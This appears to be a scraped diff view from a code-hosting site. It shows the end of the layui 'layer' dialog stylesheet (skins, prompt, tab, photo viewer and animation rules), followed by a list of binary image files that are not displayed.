border-bottom-style: solid;
|
||||
border-bottom-color: #000
|
||||
}
|
||||
|
||||
.layui-layer-tips i.layui-layer-TipsR {
|
||||
left: -8px
|
||||
}
|
||||
|
||||
.layui-layer-tips i.layui-layer-TipsL {
|
||||
right: -8px
|
||||
}
|
||||
|
||||
.layui-layer-lan[type=dialog] {
|
||||
min-width: 280px
|
||||
}
|
||||
|
||||
.layui-layer-lan .layui-layer-title {
|
||||
background: #4476A7;
|
||||
color: #fff;
|
||||
border: none
|
||||
}
|
||||
|
||||
.layui-layer-lan .layui-layer-btn {
|
||||
padding: 5px 10px 10px;
|
||||
text-align: right;
|
||||
border-top: 1px solid #E9E7E7
|
||||
}
|
||||
|
||||
.layui-layer-lan .layui-layer-btn a {
|
||||
background: #fff;
|
||||
border-color: #E9E7E7;
|
||||
color: #333
|
||||
}
|
||||
|
||||
.layui-layer-lan .layui-layer-btn .layui-layer-btn1 {
|
||||
background: #C9C5C5
|
||||
}
|
||||
|
||||
.layui-layer-molv .layui-layer-title {
|
||||
background: #00c087;
|
||||
color: #fff;
|
||||
border: none
|
||||
}
|
||||
|
||||
.layui-layer-molv .layui-layer-btn a {
|
||||
background: #00c087;
|
||||
border-color: #00c087
|
||||
}
|
||||
|
||||
.layui-layer-molv .layui-layer-btn .layui-layer-btn1 {
|
||||
background: #92B8B1
|
||||
}
|
||||
|
||||
.layui-layer-iconext {
|
||||
background: url(icon-ext.png) no-repeat
|
||||
}
|
||||
|
||||
.layui-layer-prompt .layui-layer-input {
|
||||
display: block;
|
||||
width: 230px;
|
||||
height: 36px;
|
||||
margin: 0 auto;
|
||||
line-height: 30px;
|
||||
padding-left: 10px;
|
||||
border: 1px solid #e6e6e6;
|
||||
color: #333
|
||||
}
|
||||
|
||||
.layui-layer-prompt textarea.layui-layer-input {
|
||||
width: 300px;
|
||||
height: 100px;
|
||||
line-height: 20px;
|
||||
padding: 6px 10px
|
||||
}
|
||||
|
||||
.layui-layer-prompt .layui-layer-content {
|
||||
padding: 20px
|
||||
}
|
||||
|
||||
.layui-layer-prompt .layui-layer-btn {
|
||||
padding-top: 0
|
||||
}
|
||||
|
||||
.layui-layer-tab {
|
||||
box-shadow: 1px 1px 50px rgba(0, 0, 0, .4)
|
||||
}
|
||||
|
||||
.layui-layer-tab .layui-layer-title {
|
||||
padding-left: 0;
|
||||
overflow: visible
|
||||
}
|
||||
|
||||
.layui-layer-tab .layui-layer-title span {
|
||||
position: relative;
|
||||
float: left;
|
||||
min-width: 80px;
|
||||
max-width: 260px;
|
||||
padding: 0 20px;
|
||||
text-align: center;
|
||||
overflow: hidden;
|
||||
cursor: pointer
|
||||
}
|
||||
|
||||
.layui-layer-tab .layui-layer-title span.layui-this {
|
||||
height: 43px;
|
||||
border-left: 1px solid #eee;
|
||||
border-right: 1px solid #eee;
|
||||
background-color: #fff;
|
||||
z-index: 10
|
||||
}
|
||||
|
||||
.layui-layer-tab .layui-layer-title span:first-child {
|
||||
border-left: none
|
||||
}
|
||||
|
||||
.layui-layer-tabmain {
|
||||
line-height: 24px;
|
||||
clear: both
|
||||
}
|
||||
|
||||
.layui-layer-tabmain .layui-layer-tabli {
|
||||
display: none
|
||||
}
|
||||
|
||||
.layui-layer-tabmain .layui-layer-tabli.layui-this {
|
||||
display: block
|
||||
}
|
||||
|
||||
.layui-layer-photos {
|
||||
-webkit-animation-duration: .8s;
|
||||
animation-duration: .8s
|
||||
}
|
||||
|
||||
.layui-layer-photos .layui-layer-content {
|
||||
overflow: hidden;
|
||||
text-align: center
|
||||
}
|
||||
|
||||
.layui-layer-photos .layui-layer-phimg img {
|
||||
position: relative;
|
||||
width: 100%;
|
||||
display: inline-block;
|
||||
*display: inline;
|
||||
*zoom: 1;
|
||||
vertical-align: top
|
||||
}
|
||||
|
||||
.layui-layer-imgbar,
|
||||
.layui-layer-imguide {
|
||||
display: none
|
||||
}
|
||||
|
||||
.layui-layer-imgnext,
|
||||
.layui-layer-imgprev {
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
width: 27px;
|
||||
_width: 44px;
|
||||
height: 44px;
|
||||
margin-top: -22px;
|
||||
outline: 0;
|
||||
blr: expression(this.onFocus=this.blur())
|
||||
}
|
||||
|
||||
.layui-layer-imgprev {
|
||||
left: 10px;
|
||||
background-position: -5px -5px;
|
||||
_background-position: -70px -5px
|
||||
}
|
||||
|
||||
.layui-layer-imgprev:hover {
|
||||
background-position: -33px -5px;
|
||||
_background-position: -120px -5px
|
||||
}
|
||||
|
||||
.layui-layer-imgnext {
|
||||
right: 10px;
|
||||
_right: 8px;
|
||||
background-position: -5px -50px;
|
||||
_background-position: -70px -50px
|
||||
}
|
||||
|
||||
.layui-layer-imgnext:hover {
|
||||
background-position: -33px -50px;
|
||||
_background-position: -120px -50px
|
||||
}
|
||||
|
||||
.layui-layer-imgbar {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
height: 32px;
|
||||
line-height: 32px;
|
||||
background-color: rgba(0, 0, 0, .8);
|
||||
background-color: #000\9;
|
||||
filter: Alpha(opacity=80);
|
||||
color: #fff;
|
||||
overflow: hidden;
|
||||
font-size: 0
|
||||
}
|
||||
|
||||
.layui-layer-imgtit * {
|
||||
display: inline-block;
|
||||
*display: inline;
|
||||
*zoom: 1;
|
||||
vertical-align: top;
|
||||
font-size: 12px
|
||||
}
|
||||
|
||||
.layui-layer-imgtit a {
|
||||
max-width: 65%;
|
||||
overflow: hidden;
|
||||
color: #fff
|
||||
}
|
||||
|
||||
.layui-layer-imgtit a:hover {
|
||||
color: #fff;
|
||||
text-decoration: underline
|
||||
}
|
||||
|
||||
.layui-layer-imgtit em {
|
||||
padding-left: 10px;
|
||||
font-style: normal
|
||||
}
|
||||
|
||||
@-webkit-keyframes layer-bounceOut {
|
||||
100% {
|
||||
opacity: 0;
|
||||
-webkit-transform: scale(.7);
|
||||
transform: scale(.7)
|
||||
}
|
||||
|
||||
30% {
|
||||
-webkit-transform: scale(1.05);
|
||||
transform: scale(1.05)
|
||||
}
|
||||
|
||||
0% {
|
||||
-webkit-transform: scale(1);
|
||||
transform: scale(1)
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes layer-bounceOut {
|
||||
100% {
|
||||
opacity: 0;
|
||||
-webkit-transform: scale(.7);
|
||||
-ms-transform: scale(.7);
|
||||
transform: scale(.7)
|
||||
}
|
||||
|
||||
30% {
|
||||
-webkit-transform: scale(1.05);
|
||||
-ms-transform: scale(1.05);
|
||||
transform: scale(1.05)
|
||||
}
|
||||
|
||||
0% {
|
||||
-webkit-transform: scale(1);
|
||||
-ms-transform: scale(1);
|
||||
transform: scale(1)
|
||||
}
|
||||
}
|
||||
|
||||
.layer-anim-close {
|
||||
-webkit-animation-name: layer-bounceOut;
|
||||
animation-name: layer-bounceOut;
|
||||
-webkit-animation-fill-mode: both;
|
||||
animation-fill-mode: both;
|
||||
-webkit-animation-duration: .2s;
|
||||
animation-duration: .2s
|
||||
}
|
||||
|
||||
@media screen and (max-width:1100px) {
|
||||
.layui-layer-iframe {
|
||||
overflow-y: auto;
|
||||
-webkit-overflow-scrolling: touch
|
||||
}
|
||||
}
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 5.7 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 701 B |
Binary file not shown.
|
After Width: | Height: | Size: 1.7 KiB |
Binary file not shown.
File diff suppressed because one or more lines are too long
|
After Width: | Height: | Size: 274 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
After Width: | Height: | Size: 2.6 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 5.4 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.7 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 4.0 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.3 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 7.3 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.3 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.8 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 6.6 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 4.3 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.9 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.0 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 5.0 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 5.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 9.6 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.7 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 7.9 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.1 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.2 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 4.3 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.7 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 4.7 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.9 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.5 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.0 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.4 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.4 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 3.6 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 1.8 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 2.3 KiB |
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user